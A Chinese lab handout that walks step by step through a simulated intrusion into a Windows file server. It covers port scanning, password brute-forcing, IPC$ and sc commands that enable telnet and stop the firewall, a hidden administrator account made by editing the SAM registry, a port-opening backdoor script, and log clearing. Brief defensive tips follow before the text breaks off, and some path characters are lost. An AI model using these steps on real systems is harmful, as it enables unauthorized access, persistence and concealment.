實驗五模擬黑客攻擊

1、實驗五 模擬黑客攻擊實驗環(huán)境：本例以攻擊一臺文件服務(wù)器為例，演示通常的攻擊方法和思路。該文件服務(wù)器默認安裝了，啟動了防火墻但是允許文件共享。其余設(shè)置全為默認安裝設(shè)置，并安裝了所有補丁。需求描述：掃描目標(biāo)計算機獲得管理員權(quán)限安裝后門清除攻擊記錄實驗步驟：掃描目標(biāo)計算機在B計算機上使用掃描軟件掃描目標(biāo)計算機A，確定開放的端口，判斷操作系統(tǒng)的類型。掃描軟件推薦使用或流光。X-SCAN：使用流光：打開流光主界面-右擊IPC主機-編輯-添加目標(biāo)主機 主機添加完后，生成字典-工具-字典工具-黑客字典III 生成字典 右擊目標(biāo)添加的主機-探測-探測所有IPC$遠程登錄 配置字典 探測報告獲得管理員權(quán)限根據(jù)掃

2、描結(jié)果，嘗試暴力破解管理員賬戶的密碼。、流光、等軟件都提供了暴力破解功能。破解成功后會自動生成報告。入侵目標(biāo)計算機使用管理員的賬戶建立鏈接，命令為net use 1.1.1.1ipc$ 123456 /user:administrator。使用SC命令獲取目標(biāo)計算機的所有服務(wù)列表，并保存在本地，命令為“sc 1.1.1.1 query type= service state= all c:1.txt”打開1.txt文件，找到telnet，確認telnet服務(wù)的狀態(tài)。去除telnet服務(wù)的禁用狀態(tài)，設(shè)置為自動運行，命令為“sc 1.1.1.1 config tlntsvr start= auto

3、”。然后啟用telnet服務(wù)，命令為“sc 1.1.1.1 start tlntsvr”。停用目標(biāo)計算機的windows防火，命令為“sc 1.1.1.1 stop sharedaccess”確認目標(biāo)計算機啟用了遠程注冊表服務(wù)，命令為“sc 1.1.1.1 qc remoteregistry”，如果服務(wù)為停止?fàn)顟B(tài)，則將其啟動。添加隱藏賬戶建立telnet連接，管理目標(biāo)計算機，命令為“telnet 1.1.1.1”，連接成功后輸入管理員的賬戶名和密碼通過telnet，在目標(biāo)計算機上建立隱藏賬戶，命令為“net user yt$ 111 /add”，其中“$”符號用于在命令行里隱藏賬戶，但是在圖形

4、化管理工具里該賬戶還是可見的。在本地運行“regedt32”，在“注冊表編輯器”中選擇“文件”“連接網(wǎng)絡(luò)注冊表”。打開目標(biāo)計算機的注冊表，右擊“hkey_local_machine”項下“sam”子項下的“sam”子項，選擇權(quán)限在SAM的權(quán)限窗口中，賦予管理員完全控制權(quán)限。斷開與目標(biāo)計算機注冊表的連接，然后重新建立連接。展開目標(biāo)計算機的“hkey_local_machinesamsamdomainsaccountusersnames”項，找到“administrator”和新建的賬戶yt$，記錄他們的類型，本例中“administrator”的類型為“0 x1f4”，“yt$”的類型為“0 x

5、3eb”展開目標(biāo)計算機“hkey_local_machinesamsamdomainsaccountusersnames”項下后三位是“1f4”的子項，該項和administrator項對應(yīng)。雙擊右側(cè)窗格1f4項下的F鍵值，復(fù)制F鍵值下的全部數(shù)據(jù)。展開目標(biāo)計算機“hkey_local_machinesamsamdomainsaccountusersnames”項下后三位是“3eb”的子項，使用從1f4項復(fù)制的數(shù)據(jù)覆蓋“”項下F鍵值的數(shù)據(jù)。導(dǎo)出目標(biāo)計算機注冊表的yt$項和000003eb項保存到本地，分別命名為yt.reg和*reg，然后將yt.reg和3eb.reg拷貝到1.1.1.1c$下返

6、回到telnet命令行，刪除目標(biāo)計算機的賬戶yt$，命令為“net user yt$ /delete”。在目標(biāo)計算機上導(dǎo)入yt.reg和*.reg，命令為“reg import yt.reg”和“reg import 3eb.reg”，完成本步驟后將真正在目標(biāo)計算機上建立一個隱藏賬戶，使用命令或圖形工具都不能看到該賬戶、但是在注冊表中可以看到。刪除目前和目標(biāo)計算機的IPC連接，命令為“net use HYPERLINK 1.1.1.1 1.1.1.1 /delete”，使用新建的隱藏賬戶建立IPC鏈接，測試該賬戶是否建立正確并且足夠的權(quán)限打開目標(biāo)計算機的注冊表，右擊“hkey_local_ma

7、chine”項下“sam”子項下的“sam”子項，選擇權(quán)限。去除管理員組的讀取和完全控制權(quán)限，恢復(fù)到默認狀態(tài)。保留管理后門、隱藏攻擊痕跡在本地建立一個名為open23.bat的腳本文件，文件內(nèi)容如下：Sc start sharedaccessNetsh firewall add portopening all 23 enable:end將open23.bat文件拷貝到1.1.1.1c$下。建立telnet連接，進入目標(biāo)計算機的C盤運行open23.bat腳本。運行成功后將重新啟動windows防火墻，并且開啟TCP和UDP的23端口以允許telnet連接通過防火墻。刪除目標(biāo)計算機上的遺留文件，如open23.bat等。清除攻擊痕跡，刪除日志 以yt$用戶遠程登錄目標(biāo)計算機，清除攻擊文件 清除日志 編輯一個開啟防火墻的批處理文件 拷貝到目標(biāo)計算機 制定任務(wù)計劃 查看操作完成結(jié)果 模擬黑客攻擊完成 防黑客的方法：不要再網(wǎng)上隨意下載軟件，防止掛馬軟件；經(jīng)常查看日志開啟系統(tǒng)審核功能；經(jīng)常查看修補系統(tǒng)漏洞。 防止暴力破解密碼：重命名administrator管